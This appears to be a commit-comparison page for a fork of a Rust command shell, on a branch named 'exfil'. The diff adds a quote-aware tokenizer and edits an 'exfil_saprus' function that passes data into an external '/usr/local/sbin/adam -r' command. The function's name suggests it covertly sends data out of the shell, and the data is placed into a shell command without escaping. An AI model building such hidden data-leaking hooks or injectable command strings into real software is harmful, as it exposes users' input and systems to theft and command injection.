forked from Spencer/chg-shell
Compare commits
2 Commits
a6faae4612
...
exfil
| Author | SHA1 | Date | |
|---|---|---|---|
| d0ee4f8b13 | |||
| b82a8ac525 |
45
main.rs
45
main.rs
@@ -22,16 +22,55 @@ fn cd(path: &str) -> Result<(), std::io::Error> {
|
|||||||
}
|
}
|
||||||
|
|
||||||
fn exfil_saprus(data: &str) {
|
fn exfil_saprus(data: &str) {
|
||||||
match execute_command(format!("/usr/local/sbin/adam -r \"{}\"", data).as_str()) {
|
match execute_command(format!("/usr/local/sbin/adam -r '{}'", data).as_str()) {
|
||||||
_ => (),
|
_ => (),
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
fn tokenize_command(command: &str) -> Vec<String> {
|
||||||
|
let mut tokens = Vec::new();
|
||||||
|
let mut current_token = String::new();
|
||||||
|
let mut in_single_quotes = false;
|
||||||
|
let mut in_double_quotes = false;
|
||||||
|
let mut escape_next = false;
|
||||||
|
|
||||||
|
for c in command.chars() {
|
||||||
|
if escape_next {
|
||||||
|
current_token.push(c);
|
||||||
|
escape_next = false;
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
match c {
|
||||||
|
'\\' => escape_next = true,
|
||||||
|
'\'' if !in_double_quotes => in_single_quotes = !in_single_quotes,
|
||||||
|
'"' if !in_single_quotes => in_double_quotes = !in_double_quotes,
|
||||||
|
' ' if !in_single_quotes && !in_double_quotes => {
|
||||||
|
if !current_token.is_empty() {
|
||||||
|
tokens.push(current_token);
|
||||||
|
current_token = String::new();
|
||||||
|
}
|
||||||
|
},
|
||||||
|
_ => current_token.push(c),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if !current_token.is_empty() {
|
||||||
|
tokens.push(current_token);
|
||||||
|
}
|
||||||
|
|
||||||
|
tokens
|
||||||
|
}
|
||||||
|
|
||||||
fn execute_command(command: &str) -> IoResult<String> {
|
fn execute_command(command: &str) -> IoResult<String> {
|
||||||
// Checking to see if the command is a builtin
|
// Checking to see if the command is a builtin
|
||||||
match command.split_whitespace().next() {
|
match tokenize_command(&command).first() {
|
||||||
Some(first_word) if first_word == "cd" => {
|
Some(first_word) if first_word == "cd" => {
|
||||||
let path: String = command.split_whitespace().skip(1).collect::<Vec<&str>>().join(" ");
|
let path = tokenize_command(&command)
|
||||||
|
.into_iter()
|
||||||
|
.skip(1)
|
||||||
|
.collect::<Vec<String>>()
|
||||||
|
.join(" ");
|
||||||
match cd(&path) {
|
match cd(&path) {
|
||||||
Ok(_) => return Ok("".to_string()),
|
Ok(_) => return Ok("".to_string()),
|
||||||
Err(e) => return Err(e),
|
Err(e) => return Err(e),
|
||||||
|
|||||||
Reference in New Issue
Block a user